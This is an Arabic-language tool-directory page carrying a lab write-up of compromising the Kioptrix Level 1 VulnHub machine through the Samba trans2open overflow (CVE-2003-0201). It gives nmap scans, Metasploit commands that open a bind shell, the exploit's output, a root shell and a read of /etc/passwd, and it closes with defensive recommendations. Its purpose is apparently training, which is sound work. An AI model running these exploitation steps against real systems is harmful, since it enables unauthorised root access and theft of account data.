Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
pentest-writeups — شرح Kioptrix المستوى 1 - CVE-2003-0201 Samba trans2open | Kitploit
أدوات/GitHubGitHub/americooo/pentest-writeups
تصعيد الامتيازاتالاستطلاعتحليل الثغرات الأمنيةالاستغلالما بعد الاستغلالCTFاختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubamericooo/pentest-writeups

pentest-writeups

شرح Kioptrix المستوى 1 - CVE-2003-0201 Samba trans2open

31منذ 4 أشهرلم تتم المراجعة بعد
مشاركة
عرض المستودع

pentest-writeups

شرح اختراق Kioptrix Level 1 - CVE-2003-0201 Samba trans2open

Kioptrix Level 1 — شرح اختبار الاختراق

المؤلف: Amirbek Raxmatullayev (@americo_444)
التاريخ: 2026-06-17
المنصة: VulnHub
الصعوبة: مبتدئ
الهدف: الحصول على صلاحيات الجذر (root)


1. إعداد البيئة

المكوّنالتفاصيل
نظام التشغيل المضيفUbuntu 26.04
برنامج المحاكاة الافتراضيةQEMU/KVM
الهدفKioptrix Level 1 (VMDK)
عنوان المهاجم IP192.168.56.1
عنوان الهدف IP192.168.56.101

ملاحظة: لم يكن VirtualBox متوافقًا مع النواة 7.0.0-22-generic بسبب تعارض في مساحة أسماء KVM مع DKMS. تم التبديل إلى QEMU/KVM وتحميل ملف VMDK مباشرة دون تحويل.

qemu-system-x86_64 \
  -m 512 \
  -drive file="Kioptix Level 1.vmdk",format=vmdk \
  -netdev bridge,id=net0,br=virbr0 \
  -device e1000,netdev=net0 \
  -display gtk

2. الاستطلاع

2.1 اكتشاف المضيف

nmap -sn 192.168.56.0/24

النتيجة: تم تحديد الهدف على 192.168.56.101

2.2 فحص شامل للمنافذ والخدمات

nmap -sV -sC -p- 192.168.56.101

المنافذ المفتوحة:

المنفذالخدمةالإصدار
22/tcpSSHOpenSSH 2.9p2
80/tcpHTTPApache 1.3.20
111/tcpRPCrpcbind 2
139/tcpSMBSamba 2.2.1a
443/tcpHTTPSmod_ssl/2.8.4
32768/tcpStatusRPC #100024

2.3 تعداد إصدار SMB

msfconsole -q -x "use auxiliary/scanner/smb/smb_version; \
  set RHOSTS 192.168.56.101; run; exit"

النتيجة: Samba 2.2.1a — تم تأكيد وجود إصدار معرّض لثغرة حرجة.


3. تحليل الثغرة

CVE-2003-0201 — تجاوز سعة المخزن المؤقت في Samba trans2open

الوصف:
تحتوي إصدارات Samba 2.2.x على ثغرة تجاوز سعة مخزن مؤقت قائمة على المكدس (stack-based buffer overflow) في الدالة trans2open. تسمح هذه الثغرة لمهاجم بعيد غير مصادَق بتنفيذ تعليمات برمجية عشوائية بصلاحيات root.

الإصدارات المتأثرة: Samba 2.0.x — 2.2.8
درجة CVSS: 10.0 (حرجة)
وحدة الاستغلال: exploit/linux/samba/trans2open


4. الاستغلال

4.1 إعداد Metasploit

msfconsole
use exploit/linux/samba/trans2open
set RHOSTS 192.168.56.101
set LHOST 192.168.56.1
set PAYLOAD linux/x86/shell_bind_tcp
run

لماذا bind_tcp بدلاً من reverse_tcp؟
فشلت حمولة reverse_tcp لأن جهاز Kioptrix الافتراضي لم يتمكن من الوصول عائدًا إلى المهاجم عبر إعداد NAT/bridge. مع bind_tcp، يتصل المهاجم بالهدف مباشرة — دون الحاجة إلى اتصال صادر من الجهاز الضحية.

4.2 مخرجات الاستغلال

[*] Started bind TCP handler against 192.168.56.101:4444
[*] Trying return address 0xbffffdfc...
[*] Trying return address 0xbffffcfc...
...
[*] Command shell session 1 opened (192.168.56.1:36733 -> 192.168.56.101:4444)

تم الحصول على الشل! ✅


5. ما بعد الاستغلال

whoami
# root

id
# uid=0(root) gid=0(root) groups=99(nobody)

hostname
# kioptrix.level1

uname -a
# Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown

cat /etc/passwd
# root:x:0:0:root:/root:/bin/bash
# john:x:500:500::/home/john:/bin/bash
# harold:x:501:501::/home/harold:/bin/bash

معلومات النظام:

  • نظام التشغيل: Red Hat Linux، النواة 2.4.7 (صُنعت عام 2001)
  • المستخدمون المحليون المكتشفون: root، john، harold

6. سلسلة الهجوم

[Attacker: 192.168.56.1]
        |
        | Step 1: nmap full port scan
        v
[Target: 192.168.56.101]
        |
        | Step 2: Samba 2.2.1a identified
        v
[Metasploit — trans2open exploit]
        |
        | Step 3: Stack buffer overflow triggered
        v
[Bind shell opened on port 4444]
        |
        | Step 4: whoami = root
        v
[TARGET PWNED]

7. الدروس المستفادة

ما تعلمته:

  • إعداد بيئة مختبر باستخدام QEMU/KVM عندما يفشل VirtualBox
  • استكشاف بصمات الخدمات باستخدام nmap -sV -sC
  • تعداد SMB باستخدام الوحدات المساعدة في Metasploit
  • فهم آلية تجاوز سعة المخزن المؤقت للمكدس في CVE-2003-0201
  • الفرق بين حمولتي bind_tcp وreverse_tcp ومتى تستخدم كل منهما

التوصيات الدفاعية (الفريق الأزرق):

  1. ترقية Samba إلى الإصدار 3.x أو أحدث
  2. تقييد المنفذين 139/445 عبر جدار الحماية — والسماح فقط للمضيفين الداخليين الموثوقين
  3. تطبيق جميع تصحيحات نظام التشغيل والخدمات المتاحة
  4. تنفيذ تقسيم الشبكة — يجب ألا تتعرض خدمة SMB خارجيًا أبدًا
  5. نشر قواعد IDS/IPS لكشف محاولات تجاوز سعة المخزن المؤقت على SMB

8. الأدوات المستخدمة

الأداةالغرض
nmapفحص المنافذ، اكتشاف الخدمات والإصدارات
Metasploit Frameworkتعداد SMB والاستغلال
QEMU/KVMالمحاكاة الافتراضية للمختبر
arp-scanاكتشاف المضيفين

9. المراجع

  • CVE-2003-0201 — NVD
  • Rapid7 — trans2open Module
  • VulnHub — Kioptrix Level 1

كُتب بواسطة Amirbek Raxmatullayev | BEK Coders Security Research | 2026

تنزيل الأداة

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 مجموعة أدوات OSINT المثالية: رسم بياني للتحقيق، وتقييم الثقة، وعائلات الأسماء المستعارة، وخريطة، وخط زمني، وتقارير. 49 وحدة، وأكثر من 400 موقع، دون الحاجة إلى مفاتيح API.

    916
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # تطبيق GhostLock للتنفيذ بنقرة واحدة (CVE-2026-43499)

    558
  • 3

    redforge

    cybersecurity91/redforge

    مجموعة أدوات الفريق الأحمر في المتصفح مع 102 أداة دون اتصال للاستطلاع، وتوليد الحمولات، وهجمات بيانات الاعتماد، والتشفير، والترميز، وإعداد تقارير المهام.

    370
  • 4

    ARTEX

    baarai/artex

    منصة اختبار اختراق مستقلة متعددة الوكلاء تعتمد على LLM، مع وكلاء تخطيط وتنفيذ، ومخططات للأصول والاستكشاف، وتسجيل حركة مرور MITM، وإعادة اختبار الثغرات.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    منصة CSIRT تستقبل تقارير Shadowserver في MongoDB وتعيد عرضها كخرائط تفاعلية وتحليلات ونتائج وإرشادات ولوحات معلومات تنفيذية.

    317
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    نظام العمل للأمن السيبراني الأصلي بالذكاء الاصطناعي — حيث تتحول النية إلى تنفيذ محكوم، وتصبح الأدلة ذاكرة تشغيلية، وكل عملية تحسن التي تليها.

    289

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →